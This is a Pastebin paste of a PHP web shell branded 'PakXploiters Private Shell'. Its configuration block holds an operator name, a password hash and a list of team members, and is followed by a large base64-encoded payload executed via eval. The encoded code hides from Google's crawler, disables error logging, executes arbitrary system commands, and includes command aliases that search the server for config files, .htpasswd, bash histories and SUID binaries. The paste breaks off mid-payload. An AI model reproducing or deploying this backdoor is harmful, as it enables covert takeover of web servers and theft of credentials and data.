Xyb3r-D3vil

asd

Jan 3rd, 2016
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 238.17 KB | None | 0 0
  1. <?php
  2. /*
  3. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  4. :: ::
  5. :: PX.php ::
  6. :: !!!!TEAM PakXploiters!!!! ::
  7. :: customized by : Mkay ::
  8. :: ::
  9. :: ::
  10. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  11.  
  12. #-------------------------------------------------------------------------------
  13. # PakXploiters Private Shell
  14. # Do Not share it with anyone keep this shell secret :)
  15. #-------------------------------------------------------------------------------
  16. /*Your Cyber Name! for e.g MKay*/
  17. $cyber_name = 'Xyb3r D3vil';
  18. #-------------------------------------------------------------------------------
  19. /*Current Pasword is :PakXploiters */
  20. $auth_pass = "2db6495636c91b192f6fdd88affb7e4c";
  21. #-------------------------------------------------------------------------------
  22. /*Team Members marquee settings*/
  23. $update_members = 'Mkay || Wo1v3r!n3 ||D4rkF34r || Ali khan || Mr-Xploiters || Xyb3r D3vil || Un_Known || AK Aiza Khan || Al3x M@rz || Ahm3d Hax0r || Havock201 || Sharp Mind || Nomi Haxor || Haid3r || DeviilX || N1nj@ X || Pk_Ghost || DaRk AngEll || Script Kiddey || D@rKH@cKeR ||';
  24. $members_marquee_speed = 15; //only Change the integer if u want to change the speed of marquee.
  25. #-------------------------------------------------------------------------------
  26. /*Controling the output of Login page*/
  27. $loginbg = '#000';//lOGIN Page BG color Get CSS color mixture over here - http://www.w3schools.com/tags/ref_colorpicker.asp
  28. $login_image = 'http://oi57.tinypic.com/mah4ec.jpg'; //Login page picture
  29. $PASS_BORDER_COLOR = 'black'; //Login page password border color......
  30. #-------------------------------------------------------------------------------
  31. /*Inside Shell image*/
  32. $inside_shell_image_up = 'http://i184.photobucket.com/albums/x201/hubadub93/skull-1.gif';
  33. #--------------------------------------------------------------------------------
  34. /*Inside Color*/
  35. $color = "blue";
  36. #--------------------------------------------------------------------------------
  37.  
  38. ?>
  39. <?php eval("?>".base64_decode("PD9waHAKCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgZXhpdDsKfQpAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpAZGVmaW5lKCdWRVJTSU9OJywgJ1ZlciAzLjAnKTsKaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7CiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7CiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KICAgICRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOwp9CmZ1bmN0aW9uIHByaW50TG9naW4oKSB7CiAgICBnbG9iYWwgJGxvZ2luYmc7CiAgICBnbG9iYWwgJGxvZ2luX2ltYWdlOwogICAgZ2xvYmFsICRQQVNTX0JPUkRFUl9DT0xPUjsKICAgIGdsb2JhbCAkdXBkYXRlX21lbWJlcnM7CiAgICBnbG9iYWwgJG1lbWJlcnNfbWFycXVlZV9zcGVlZDsKICAgIGdsb2JhbCAkY3liZXJfbmFtZTsKICAgIGVjaG8gJzx0aXRsZT5TSEVMTEVEIEJZICcgLiAkY3liZXJfbmFtZSAuICc8L3RpdGxlPjxib2R5IGJnY29sb3I9IicgLiAkbG9naW5iZyAuICciPjxzdHlsZT4gaW5wdXQge2JvcmRlcjoxcHggc29saWQgJyAuICRQQVNTX0JPUkRFUl9DT0xPUiAuICc7IH08L3N0eWxlPjxjZW50ZXI+PGltZyBzcmM9IicuICRsb2dpbl9pbWFnZSAuICciIGFsdD0iZmxhZyIgaGVpZ2h0PSI0MDgiIHdpZHRoPSI1MDAiPjxicj48Zm9udCBjb2xvcj0iI2EzZTk1NiI+PGgxIHN0eWxlPSJmb250LXNpemU6NjAiPlNoZWxsZWQgLSAnLiRjeWJlcl9uYW1lLic8L2gxPjwvY2VudGVyPjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDsgY29sb3I6d2hpdGU7Ij48L2Zvcm0+PGJyIC8+PGZvbnQgY29sb3I9ImdyZWVuIiBzaXplPSI1MCI+UEFLSVNUQU48Zm9udCBjb2xvcj0id2hpdGUiPlpJTkRBQkFEPC9oMj48cD48Zm9udCBjb2xvcj0id2hpdGUiIGZvbnQgc2l6ZT0iNCI+TWVtYmVycyA6PG1hcnF1ZWUgd2lkdGg9IjgwJSIgc2Nyb2xsYW1vdW50PSInIC4gJG1lbWJlcnNfbWFycXVlZV9zcGVlZCAuICciPicgLiAkdXBkYXRlX21lbWJlcnMgLiAnPC9iPgo8L21hcnF1ZWU+PC9mb250PjwvY2VudGVyPic7CiAgICBleGl0Owp9CmlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkKICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8CiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyApICkgKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwogICAgZWxzZQogICAgICAgIHByaW50TG9naW4oKTsKCmlmKCBzdHJ0b2xvd2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApCiAgICAkb3MgPSAnd2luJzsKZWxzZQogICAgJG9zID0gJ25peCc7CiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmKCBpc3NldCggJF9QT1NUWydjJ10gKSApCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwppZiggJG9zID09ICd3aW4nKSB7CiAgICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkKICAgICRjd2QgLj0gJy8nOwogICAgCmlmKCRvcyA9PSAnd2luJykgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLAogICAgICAgICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLAogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKICAgICAgICAiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiAgICAgICAgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgogICAgKTsKfSBlbHNlIHsKICAgICRhbGlhc2VzID0gYXJyYXkoCiAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGEiLAogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCiAgICAgICAgIkZpbmQiID0+ICIiLAogICAgICAgICAgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAgICAgICAgICJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgICAgICAgICAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogICAgICAgICAgImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAgICAgICAiTG9jYXRlIiA9PiAiIiwKICAgICAgICAgICJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAogICAgICAgICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAogICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsCiAgICAgICAgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLAogICAgICAgICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAogICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKICAgICAgICAibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLAogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKICAgICAgICAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAogICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwKICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIgICAgCiAgICApOwp9CgpmdW5jdGlvbiBleCgkaW4pIHsKICAgICRvdXQgPSAnJzsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgQGV4ZWMoJGluLCRvdXQpOwogICAgICAgICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwogICAgfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkKICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKICAgICAgICBwY2xvc2UoJGYpOwogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIHdoaWNoKCRwKSB7CiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsKICAgIGlmKCFlbXB0eSgkcGF0aCkpCiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgcmV0dXJuIGZhbHNlOwp9CiAgICAKZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7CiAgICBnbG9iYWwgJGluc2lkZV9zaGVsbF9pbWFnZV91cDsKICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7CiAgICBnbG9iYWwgJGNvbG9yOwogICAgCiAgICBlY2hvICc8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT5QYWtYcGxvaXRlcnMgLSAzLjU8L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJvZHkge2JhY2tncm91bmQ6dXJsKGh0dHBzOi8vZW5jcnlwdGVkLXRibjIuZ3N0YXRpYy5jb20vaW1hZ2VzP3E9dGJuOkFOZDlHY1RhdkVyckVWUzczRl9sOWJyVHVOaWliRjhuUDNqaUN4VlEyU3kwbjlic1ZlZVFHSnpfU1RsZUJBR0UpO2NvbG9yOicgLiRjb2xvci4gJzt9CiAgICAgICAgYm9keSx0ZCx0aCAgICB7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0KICAgICAgICBzcGFuLGgxLGEgICAgeyBjb2xvcjonLiRjb2xvci4nICFpbXBvcnRhbnQ7IH0KICAgICAgICBzcGFuICAgICAgICB7IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0KICAgICAgICBoMSAgICAgICAgICAgIHsgcGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOjBweCAwIDAgNXB4OyB9CiAgICAgICAgZGl2LmNvbnRlbnQgICAgeyBwYWRkaW5nOiA1cHg7bWFyZ2luOjAgNXB4O2JhY2tncm91bmQ6ICMwMDAwMDA7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2EzZTk1Njt9CiAgICAgICAgYSAgICAgICAgICAgIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KICAgICAgICBhOmhvdmVyICAgICAgICB7IC8qYmFja2dyb3VuZDphcXVhOyovIH0KICAgICAgICAubWwxICAgICAgICB7IGJvcmRlcjoxcHggc29saWQgI2EzZTk1NjtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVhICAgIHsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7bWFyZ2luLXRvcDo1cHg7fQogICAgICAgIGlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0ICAgIHsgbWFyZ2luOjA7Y29sb3I6YXF1YTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7Ym9yZGVyOjFweCBzb2xpZCAnLiRjb2xvci4nOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBpbnB1dFt0eXBlPSJidXR0b24iXTpob3ZlcixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7YmFja2dyb3VuZC1jb2xvcjonLiRjb2xvci4nO2NvbG9yOiMwMDA7fSAKICAgICAgICBmb3JtICAgICAgICB7IG1hcmdpbjowcHg7IH0KICAgICAgICAjdG9vbHNUYmwgICAgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucCAgICB7IHdpZHRoOiA4MCU7IH0KICAgICAgICAubWFpbiB0aCAgICB7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDtmb250LXdlaWdodDogYm9sZDt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0ZCwgdGh7dmVydGljYWwtYWxpZ246bWlkZGxlO30KICAgICAgICAubWVudSB7YmFja2dyb3VuZDogIzAwMDt9CiAgICAgICAgLm1lbnUgdGh7cGFkZGluZzo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9CiAgICAgICAgLm1lbnUgdGg6aG92ZXJ7YmFja2dyb3VuZDojNDQ0O30KICAgICAgICAubDEge2JhY2tncm91bmQtY29sb3I6IzAwMH0KICAgICAgICBwcmUge2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgICAgICAjY290X3RsX2ZpeGVke3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTowcHg7Zm9udC1zaXplOjEycHg7bGVmdDowcHg7cGFkZGluZzo0cHggMDtjbGlwOl90b3A6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsVG9wK2RvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQtdGhpcy5jbGllbnRIZWlnaHQpO19sZWZ0OmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbExlZnQgKyBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGggLSBvZmZzZXRXaWR0aCk7fQogICAgICAgIC5sb2dvIHt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6NjBweDt9CiAgICAgICAgLmxvZ28gc3VwIHtmb250LXNpemU6IDE1cHg7dmVydGljYWwtYWxpZ246IHRvcDttYXJnaW4tbGVmdDogLTE0cHg7fQogICAgICAgIC5jcHIge21hcmdpbi1ib3R0b206NXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQogICAgICAgIC5jcGIge3dpZHRoOjM0cHg7bWFyZ2luOjAgNXB4O30KICAgICAgICAuZWNhMSB7Zm9udC1zaXplOiAxNnB4O2ZvbnQtd2VpZ2h0OiBib2xkO2xldHRlci1zcGFjaW5nOiAxMHB4O21hcmdpbjogMCAycHggMCAxN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9CiAgICAgICAgLmVjYTIge2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDogYm9sZDtsZXR0ZXItc3BhY2luZzogM3B4O21hcmdpbjogMCAycHggMCA3cHg7dGV4dC1hbGlnbjogY2VudGVyO30KICAgICAgICAubnBvYWQgdGQge3BhZGRpbmc6MDt9CiAgICA8L3N0eWxlPgogICAgPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsKICAgICAgICAgICAgaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mLmMudmFsdWU9YzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFqYXg9dHJ1ZSI7CiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOwogICAgICAgICAgICBzcigiJy4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4nIiwgcGFyYW1zKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgICAgCiAgICAgICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsKICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKICAgICAgICAgICAgICAgIGlmIChyZXEpIHsKICAgICAgICAgICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewogICAgICAgICAgICBpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkKICAgICAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICAgICAgLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICB2YXIgcmVnID0gbmV3IFJlZ0V4cCgiKFxcZCspKFtcXFNcXHNdKikiLCAibSIpOwogICAgICAgICAgICAgICAgICAgIHZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOwogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGVsc2UgYWxlcnQoIlJlcXVlc3QgZXJyb3IhIik7CiAgICAgICAgfQogICAgPC9zY3JpcHQ+CiAgICA8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsiPjxkaXYgc3R5bGU9Im1hcmdpbjoxcHg7YmFja2dyb3VuZDojMDAwOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNhM2U5NTY7Ij4KICAgIDxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6b